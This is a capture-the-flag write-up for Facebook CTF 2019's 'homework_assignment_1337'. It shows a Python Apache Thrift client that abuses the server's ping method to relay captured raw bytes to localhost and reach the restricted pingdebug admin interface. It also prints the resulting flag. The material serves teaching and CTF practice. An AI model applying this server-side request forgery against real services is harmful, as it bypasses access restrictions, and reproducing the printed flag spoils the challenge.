Facebook CTF 2019 homework_assignment_1337 Writeup

Facebook CTF 2019’s homework_assignment_1337 was an interesting challenge which forced me to learn Apache Thrift, a language agnostic RPC client-server sort of language. The actual explanation from the Apache Thrift website is:

The Apache Thrift software framework, for scalable cross-language services development, combines a software stack with a code generation engine to build services that work efficiently and seamlessly between C++, Java, Python, PHP, Ruby, Erlang, Perl, Haskell, C#, Cocoa, JavaScript, Node.js, Smalltalk, OCaml and Delphi and other languages.

This challenge forced me to learn a bit of it, so here we go.


homework_assignment_1337 Challenge Description

homework_assignment_1337.tar.gz

The given ping.thrift file looks like the following:

ping.thrift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/

# Thrift Tutorial
#
# This file aims to teach you how to use Thrift, in a .thrift file. Neato. The
# first thing to notice is that .thrift files support standard shell comments.
# This lets you make your thrift file executable and include your Thrift build
# step on the top line. And you can place comments like this anywhere you like.
#
# Before running this file, you will need to have installed the thrift compiler
# into /usr/local/bin.

/**
* The first thing to know about are types. The available types in Thrift are:
*
* bool Boolean, one byte
* i8 (byte) Signed 8-bit integer
* i16 Signed 16-bit integer
* i32 Signed 32-bit integer
* i64 Signed 64-bit integer
* double 64-bit floating point value
* string String
* binary Blob (byte array)
* map<t1,t2> Map from one type to another
* list<t1> Ordered list of one type
* set<t1> Set of unique elements of one type
*
* Did you also notice that Thrift supports C style comments?
*/

// Just in case you were wondering... yes. We support simple C comments too.

/**
* You can define enums, which are just 32 bit integers. Values are optional
* and start at 1 if not supplied, C style again.
*/
enum Proto {
TCP = 1,
UNIX = 2
}

/**
* Structs are the basic complex data structures. They are comprised of fields
* which each have an integer identifier, a type, a symbolic name, and an
* optional default value.
*
* Fields can be declared "optional", which ensures they will not be included
* in the serialized output if they aren't set. Note that this requires some
* manual management in some languages.
*/
struct Pong {
1: i32 code
2: binary data
}

struct Ping {
1: Proto proto
2: string host
3: binary data
}

struct Debug {
1: i32 dummy
}

struct PongDebug {
1: list<Ping> pings
}

/**
* Ahh, now onto the cool part, defining a service. Services just need a name
* and can optionally inherit from another service using the extends keyword.
*/
service PingBot {
/**
* A method definition looks like C code. It has a return type, arguments,
* and optionally a list of exceptions that it may throw. Note that argument
* lists and exception lists are specified using the exact same syntax as
* field lists in struct or exception definitions.
*/

// As part of your homework you should call this method.
// Ping the server I set up by correctly setting the proto and host fields
// within the Ping structure.
Pong ping(1:Ping input),

// You do not have to call this method as part of your homework.
// I added this to check people's work, it is my admin interface so to speak.
// It should only work for localhost connections either way, if your client
// tries to call it, your connection will be denied, hahaha!
PongDebug pingdebug(1:Debug dummy),
}

There’s quite a bit of comments, which are there to teach Thrift. The actual meat of the code isn’t very… meaty. In fact, it’s rather straightforward. The idea is that the the problem wants me to call the ping method on the server. The ping method takes a single argument, a special struct Ping which has three fields: proto, host, and data. All of this is abstract, however, as Thrift compiles servers and clients to other major programming langauges.

I had initially installed Thrift on my VM by downloading the source code, compiling, building, and installing Thrift 0.12.0. This took a lot longer than expected but I found out later that Thrift can simply be installed via a simple:

1
2
3
$ sudo apt install python-thrift thrift-compiler
$ thrift --version
Thrift version 0.9.1

After installing Thrift, I generated the Python server/client code by running:

1
$ thrift --gen py ping.thrift

Note that I could have generated the server/client code in another language by changing py. I also believe that you can generate code for multiple languages at once.

After running the thrift python generation, a new folder was created in the current directory:

1
2
3
4
5
6
7
8
gen-py
├── __init__.py
└── ping
├── PingBot-remote
├── PingBot.py
├── __init__.py
├── constants.py
└── ttypes.py

So it looks like I got a lot of files with all of the datatypes defined and the data transport defined in libraries for me to call. Looking through most of the files gave me some insight. The most important file was ttypes.py, as it defined the datatypes, objects, and how to build them. For example, I was able to figure out how to build a Ping() object.

Drawing off of example tutorials on Thrift, I wrote up a quick prototype which would call the ping function on the remote side:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sys, glob
sys.path.append('gen-py')

from ping import *

from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol

def main():

# Make socket
transport = TSocket.TSocket('challenges.fbctf.com', 9090)

# Buffering is critical. Raw sockets are very slow
transport = TTransport.TBufferedTransport(transport)

# Wrap in a protocol
protocol = TBinaryProtocol.TBinaryProtocol(transport)

# Create a client to use the protocol encoder
client = PingBot.Client(protocol)

# Build our ping object
ping = ttypes.Ping()
ping.proto = 2
ping.host = 'facebook.com:80'
ping.data = 'GET / HTTP/1.0\r\n\r\n'

# Connect!
transport.open()

pong = client.ping(ping)

print pong

transport.close()

if __name__ == '__main__':
try:
main()
except Thrift.TException as tx:
print('%s' % tx.message)

Running this Python client script gave me the following output:

1
Pong(code=0, data='HTTP/1.1 301 Moved Permanently\r\n')

Hmm… That seems.. kind of right? So it seems like this ping function doesn’t actually do the ping that I thought of initially, which is the ICMP ping. I was initially pretty confused at why there was a data field in the Ping struct. Also, calling ping seemed to continually throw exceptions if I didn’t provide a port number, which was also confusing because ICMP has no port!

In effect, it looks like the ping function is more like a “send a packet with this data to this host and this port” function!

Looking back at the original ping.thrift file, I see that there’s a function pingdebug:

1
2
3
4
5
// You do not have to call this method as part of your homework.
// I added this to check people's work, it is my admin interface so to speak.
// It should only work for localhost connections either way, if your client
// tries to call it, your connection will be denied, hahaha!
PongDebug pingdebug(1:Debug dummy),

How snarky! In fact, I feel like this is very common, where there is some sort of function or piece of code which I’m not supposed to call, but in fact ends up being the solution. I’ve written a challenge myself which has this level of snarkiness. Presumably, I’ll have to call the pingdebug function to get the flag.

With what I know so far, this seems fairly straightforward, since the ping function can be used to send a pingdebug RPC to localhost:9090. Before I can do this, I need to know what the data would need to be for a pingdebug RPC. I can figure this out by calling this function directly from my client. I assume that it won’t succeed but I can take a tcpdump of the data and grab the raw hex.

I modified the middle portion of my Thrift python client code:

1
2
3
4
5
6
dbg = ttypes.Debug(dummy=1337)

# Connect!
transport.open()
pongdebug = client.pingdebug(dbg)
print pongdebug

I used tcpdump to monitor what this data looked like so I could replicate it. Here’s the packet we care about in Wireshark:

Thrift Packet for pingdebug

The highlighted portion is the contents of the pingdebug packet, which I care about to send through ping. I grab the hex representation of this data and set it as ping.data.

Reformatting the data I send through:

1
2
ping.host = 'localhost:9090'
ping.data = '800100010000000970696e676465627567000000000c0001080001000005390000'.decode('hex')

This yields the flag as the Pong response:

1
Pong(code=0, data='\x80\x01\x00\x02\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x00\x0f\x00\x01\x0c\x00\x00\x00\x02\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00\x1f"fb{congr@ts_you_w1n_the_g@me}"\x00\x08\x00\x01\x00\x00\x00\x02\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00!\x80\x01\x00\x01\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x059\x00\x00\x00\x00\x00')